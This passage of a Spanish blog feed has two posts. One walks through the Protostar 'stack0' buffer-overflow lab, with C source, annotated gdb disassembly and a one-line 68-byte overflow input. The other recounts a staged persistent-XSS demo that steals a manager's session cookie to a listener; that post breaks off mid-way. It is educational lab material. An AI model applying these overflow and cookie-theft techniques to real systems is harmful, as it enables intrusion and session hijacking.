&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;gets&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203 , 75 , 22);&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;&quot;you have changed the &#39;modified&#39; variable&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220 , 50 , 47);&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203 , 75 , 22);&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;&quot;Try again?&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220 , 50 , 47);&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bueno para los que habéis programado alguna vez os sonará bastante, es un código C muy simple, lo resumo: se crea una variable de tipo entero llamada modified, pero no se le da valor, se crea un array de chars con 64 de longitud, se le asigna a la variable modified el valor 0, se lee de teclado y se introduce lo leído en la variable buffer, si la variable modified es distinta de 0 hemos ganado, sino te dice que te peines.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Como el programa no te da la opción de modificar la variable modified, pues toca explotar el &lt;a href=&quot;https://es.wikipedia.org/wiki/Desbordamiento_de_b%C3%BAfer&quot; target=&quot;_blank&quot;&gt;buffer overflow&lt;/a&gt;&amp;nbsp;que existe en este programa (ya que la función gets no comprueba la cantidad de caracteres a meter en el array) para sobrescribir en memoria dicha variable.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Vamos a desensamblar la función main para ver el código ASM de este sencillo programa:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
[Desde la carpeta /opt/protostar/bin/] Ejecutamos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;gdb stack0&lt;/li&gt;
&lt;li&gt;disass main&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Y obtenemos esto:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
(gdb) disass main&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Dump of assembler code for function main:&lt;/div&gt;
&lt;div&gt;
0x080483f4 &amp;lt;main+0&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;
0x080483f5 &amp;lt;main+1&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;/div&gt;
&lt;div&gt;
0x080483f7 &amp;lt;main+3&amp;gt;: &amp;nbsp; &amp;nbsp;and &amp;nbsp; &amp;nbsp;$0xfffffff0,%esp&lt;/div&gt;
&lt;div&gt;
0x080483fa &amp;lt;main+6&amp;gt;: &amp;nbsp; &amp;nbsp;sub &amp;nbsp; &amp;nbsp;$0x60,%esp&lt;/div&gt;
&lt;div&gt;
0x080483fd &amp;lt;main+9&amp;gt;: &amp;nbsp; &amp;nbsp;movl &amp;nbsp; $0x0,0x5c(%esp) &lt;b&gt;&amp;lt;---- variable modified&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
0x08048405 &amp;lt;main+17&amp;gt;: &amp;nbsp; lea &amp;nbsp; &amp;nbsp;0x1c(%esp),%eax &lt;b&gt;&amp;lt;--- inicio del array buffer&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
0x08048409 &amp;lt;main+21&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%eax,(%esp)&lt;/div&gt;
&lt;div&gt;
0x0804840c &amp;lt;main+24&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x804830c &amp;lt;gets@plt&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x08048411 &amp;lt;main+29&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0x5c(%esp),%eax&lt;/div&gt;
&lt;div&gt;
0x08048415 &amp;lt;main+33&amp;gt;: &amp;nbsp; test &amp;nbsp; %eax,%eax &lt;b&gt;&amp;lt;--- Se testea la variable local&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
0x08048417 &amp;lt;main+35&amp;gt;: &amp;nbsp; je &amp;nbsp; &amp;nbsp; &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;0x8048427 &lt;/span&gt;&lt;/b&gt;&amp;lt;main+51&amp;gt; &lt;b&gt;&amp;lt;--- Se salta a esa línea si la variable es ==0, que en principio siempre lo va a ser&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
0x08048419 &amp;lt;main+37&amp;gt;: &amp;nbsp; movl &amp;nbsp; $0x8048500,(%esp) &lt;b&gt;&amp;lt;--- Aquí es donde queremos llegar, aquí está el texto de la victoria&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
0x08048420 &amp;lt;main+44&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x804832c &amp;lt;puts@plt&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x08048425 &amp;lt;main+49&amp;gt;: &amp;nbsp; jmp &amp;nbsp; &amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;0x8048433 &lt;/span&gt;&lt;/b&gt;&amp;lt;main+63&amp;gt; &lt;b&gt;&amp;lt;--- Se salta a esta posición para evitar imprimir el Try Again&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;0x08048427 &lt;/span&gt;&lt;/b&gt;&amp;lt;main+51&amp;gt;: &amp;nbsp; movl &amp;nbsp; $0x8048529,(%esp) &lt;b&gt;&amp;lt;--- Aquí se está el texto Try Again&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
0x0804842e &amp;lt;main+58&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x804832c &amp;lt;puts@plt&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;0x08048433 &lt;/span&gt;&lt;/b&gt;&amp;lt;main+63&amp;gt;: &amp;nbsp; leave&lt;/div&gt;
&lt;div&gt;
0x08048434 &amp;lt;main+64&amp;gt;: &amp;nbsp; ret&lt;/div&gt;
&lt;div&gt;
End of assembler dump.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bien ya sabemos que la variable modified está en 0x5c posiciones sumadas al ESP y el array de chars Buffer está 0x1c posiciones sumadas al ESP. Por lo tanto sabemos cuántas posiciones más hacia abajo está la variable modified, con una sencilla resta hexadecimal 0x5c-0x1c sabremos cuántos caracteres tenemos que meter en el buffer para que &quot;pete&quot; y sobrescriba la variable modified.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para hacer esta suma, (desde Windows) abrimos la calculadora, la ponemos en modo programador, cambiamos a hexadecimal y la hacemos, 0x5c = 92 en decimal, y 0x1c es 28 en decimal si hacemos la resta quedan 64 posiciones, que es &quot;casualmente&quot; el tamaño del array en este caso.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora bien, si introducimos 64 caracteres no se va a producir ningún Buffer Overflow, puesto que ese es el tamaño original del array. Pues bien, introducimos 68 caracteres (64&amp;nbsp;+ 4) y veremos cómo hemos sobrescrito esta variable y hemos conseguido ver &amp;nbsp;el texto &quot;You have changed the &#39;modified&#39; variable&quot; con lo que habremos completado el primer ejercicio de todos, el &lt;b&gt;Stack0&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bien te estarás preguntando que porqué esa cantidad de 64&amp;nbsp;+ 4, ¿Por qué 4 y no 7 o 3? Pues bien todos los sistemas operativos basados en 32 bits (x86) están alineados de 4 bytes en 4 bytes, y como un char ocupa un byte, pues nos hacen falta 4 chars para dejarlo todo bien &quot;alineado&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para ver el resultado en vuestra casa y no volverte loco contando A&#39;s introducidas en el programa, esto se simplifica así:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;cat `python -c &#39;print &quot;A&quot;*68&#39;` | ./stack0&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Esto lo que hace es enviarle al programa stack0, 68 A&#39;s generadas por ese pequeño código en Python el cual sería &amp;nbsp;&#39;print &quot;A&quot;*68&#39;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Un saludo, espero que os haya gustado, no sé si ha quedado muy largo al final, pero yo al menos me he desahogado, jejeje. Espero no tardar mucho en hacer el 2º post explicando el 2º y puede que el 3º para que no quede muy escueto ya que en este post he dedicado bastante espacio a explicar el &quot;escenario&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3086439994316360087/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/06/exploiting-practico-desde-0-parte-1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3086439994316360087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3086439994316360087'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/06/exploiting-practico-desde-0-parte-1.html' title='Exploiting práctico desde 0 (Parte 1)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-8072774802953188011</id><published>2016-03-15T13:00:00.001+01:00</published><updated>2016-03-15T13:00:57.629+01:00</updated><title type='text'>Ponencias IES Virgen de la Paloma</title><content type='html'>Muy buenas!! hacía una eternidad que no escribía nada por aquí, y es que mi vida ha estado bastante liada desde el último post que escribí. No paro vaya.&lt;br /&gt;
&lt;br /&gt;
Ayer Lunes (14/03/2016) dí una ponencia en el IES Virgen de la Paloma, y por motivos del directo la Demo que tenía preparada y que me había currado no pudo salir adelante, por problemas técnicos con el wifi, por el tiempo que se me echó un poco encima, vamos un poco de todo vaya jejeje, el famoso efecto demo vivido en primera persona.&lt;br /&gt;
&lt;br /&gt;
Como lo prometido es deuda por aquí os dejo las capturas de pantalla de la demo.&lt;br /&gt;
&lt;br /&gt;
Un saludete y gracias!!&lt;br /&gt;
&lt;br /&gt;
El background de la demo es el siguiente: Me ha empezado a fallar el motor de mi coche, comprado en un concesionario de segunda mano que ofrece garantía por un año, me pongo en contacto con dicho concesionario y tras verificarlo en su web confirmo lo peor! El coche está fuera de garantía por tan solo 2 días!! O....&lt;br /&gt;
&lt;br /&gt;
Eso es lo que pone ahora mismo en la web...&lt;br /&gt;
&lt;br /&gt;
Nos logueamos con el usuario de nuestro vehículo&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCzt7xx0mPkmYZQebWKFgDtDJFC71Kx1C5bQ4OSUBMKSFtCBoCw2vdm5kOFWr7fbaH4ly55sv5N4KA3NonhYcRDqRCuhjP6vw4rdXtOpqxbrCVJu0SLIRRrma0OL9OzJ9ty_iG_57034U/s1600/Demo_Atk_01.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCzt7xx0mPkmYZQebWKFgDtDJFC71Kx1C5bQ4OSUBMKSFtCBoCw2vdm5kOFWr7fbaH4ly55sv5N4KA3NonhYcRDqRCuhjP6vw4rdXtOpqxbrCVJu0SLIRRrma0OL9OzJ9ty_iG_57034U/s640/Demo_Atk_01.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Vemos que efectivamente está fuera de garantía&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG83Sy6NRbJK-DcJmKh3rrPijamYGjI7bE3BkmElj634Si0BsNAFKU5yKnAJuMDn2jRFB226HPqLgHm0vMhI0d73YBEVSrK3HOQpZm0LBivODXpO4yJUeiE1E-AJYuypsTQ_shkzPeIts/s1600/Demo_Atk_02.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG83Sy6NRbJK-DcJmKh3rrPijamYGjI7bE3BkmElj634Si0BsNAFKU5yKnAJuMDn2jRFB226HPqLgHm0vMhI0d73YBEVSrK3HOQpZm0LBivODXpO4yJUeiE1E-AJYuypsTQ_shkzPeIts/s640/Demo_Atk_02.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Compruebo la ip de mi equipo y pongo a la escucha un pequeño script de php que guardará en una bbdd lo que se le envíe por GET&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIPMCTf39WnT37uqqnKKuCwV6mOEAfvIwKeiViWmLB6yf28RCHaMvhrhyphenhyphensL62clh2BKDBGakJzBQcKqMB7AjsQ-tVBjkA3DaidQ0BKmUFZokQUDpQCQHWGSSj3eYCCM9R-bZNwazzYfKk/s1600/Demo_Atk_03.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIPMCTf39WnT37uqqnKKuCwV6mOEAfvIwKeiViWmLB6yf28RCHaMvhrhyphenhyphensL62clh2BKDBGakJzBQcKqMB7AjsQ-tVBjkA3DaidQ0BKmUFZokQUDpQCQHWGSSj3eYCCM9R-bZNwazzYfKk/s640/Demo_Atk_03.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Después de comprobar que la web es vulnerable a un XSS-Persistente, nos disponemos a inyectarle una pequeña instrucción que se encargará de enviarnos su cookie de sesión.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_jncmtO6eBz4NFual5a5Il_-5haqoJv6B1-HQt5TxFmBciaaSy7GJetZ5m3gDXFwo7pT-JI_y6JwrCi4w94U6NU_Q-uajd7uLBrhwfmevg3t7sKqt30hdKPdNcruk3yolwr3Aj4Sxo0/s1600/Demo_Atk_04.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_jncmtO6eBz4NFual5a5Il_-5haqoJv6B1-HQt5TxFmBciaaSy7GJetZ5m3gDXFwo7pT-JI_y6JwrCi4w94U6NU_Q-uajd7uLBrhwfmevg3t7sKqt30hdKPdNcruk3yolwr3Aj4Sxo0/s640/Demo_Atk_04.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Por otro lado, el Encargado de la empresa, se loguea, recibe una notificación de que tiene un mensaje de un cliente, lo lee... todo normal, no saltan las alarmas...&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI85TBoA-xjumzcueIrYafucZ6iHKz4WXCA46WCVTZ56ndZlml6i7wc8SL2WGvqmqcG6TX7IAWFNy-pu6VfO2llLcGooSPBBKr8NdpAGd5X6eGnRX6MKF_S4OTYXOvCin0WznBdK1sGJU/s1600/Demo_Vic_01.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;342&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI85TBoA-xjumzcueIrYafucZ6iHKz4WXCA46WCVTZ56ndZlml6i7wc8SL2WGvqmqcG6TX7IAWFNy-pu6VfO2llLcGooSPBBKr8NdpAGd5X6eGnRX6MKF_S4OTYXOvCin0WznBdK1sGJU/s640/Demo_Vic_01.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKlEr-b5wB1DgH7pUl5aeAaKz-cjnY9K0gsy2VUuOHYjs_uZJXr6t0i2JfUFhtLTG4LaU4w7ugifb1ggEgxUYaSej7Y62IbFJH_wbCyVSVz_P1Xb9REggLYZ4j7HuBVjKVCI-rOwrf3c/s1600/Demo_Vic_02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;342&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKlEr-b5wB1DgH7pUl5aeAaKz-cjnY9K0gsy2VUuOHYjs_uZJXr6t0i2JfUFhtLTG4LaU4w7ugifb1ggEgxUYaSej7Y62IbFJH_wbCyVSVz_P1Xb9REggLYZ4j7HuBVjKVCI-rOwrf3c/s640/Demo_Vic_02.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7X0wy6XcuKnzcydr_QZ819OxdGVaEN96Pr9I9ZiSII1rzjIJcMs6QidTP9eUPVltZlZ1-8hnG1MI0hKyRGLT54wnzambh_4yd2t-LqrllziD-RI12Ch5keXdl5sM83plbvvYmUJRCcNk/s1600/Demo_Vic_03.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;340&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7X0wy6XcuKnzcydr_QZ819OxdGVaEN96Pr9I9ZiSII1rzjIJcMs6QidTP9eUPVltZlZ1-8hnG1MI0hKyRGLT54wnzambh_4yd2t-LqrllziD-RI12Ch5keXdl5sM83plbvvYmUJRCcNk/s640/Demo_Vic_03.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF5aDtJYdO07FQka3HTEChY8oFpKuFwy30MGVnJCaiIVmToTnNy2nUZzYFwBLoCvxjBEQb3X1l0r9Y2E1NfgW_pEGT3_u5U1DkoG7TS0-b793Jn8Sjkh1BiElDSGaijKi4_Wsjb7UVvAg/s1600/Demo_Vic_04.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;342&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF5aDtJYdO07FQka3HTEChY8oFpKuFwy30MGVnJCaiIVmToTnNy2nUZzYFwBLoCvxjBEQb3X1l0r9Y2E1NfgW_pEGT3_u5U1DkoG7TS0-b793Jn8Sjkh1BiElDSGaijKi4_Wsjb7UVvAg/s640/Demo_Vic_04.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Por otro lado el atacante, recibe la sesión (la seleccionada es la última sesión)...&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBPsXxevxD-a0EE2mDEJyBZw1eB0bP37nZxgiBw-xWWVA4DqJSs8yiSzgwu3AfY0rP76KdWu7bqobHckAVIAg8ua4e5Og1i0eWmxhk3SoFeaf4WoObH33djkIdSh0sLgwd4tXa4zhBGx8/s1600/Demo_Atk_05.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBPsXxevxD-a0EE2mDEJyBZw1eB0bP37nZxgiBw-xWWVA4DqJSs8yiSzgwu3AfY0rP76KdWu7bqobHckAVIAg8ua4e5Og1i0eWmxhk3SoFeaf4WoObH33djkIdSh0sLgwd4tXa4zhBGx8/s640/Demo_Atk_05.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Abre el plugin de firefox &quot;Cookies Manager&quot; para editar la cookie de sesión de esa ip (o dominio si se hubiera usado dominio)&lt;br /&gt;
&lt;br /&gt;
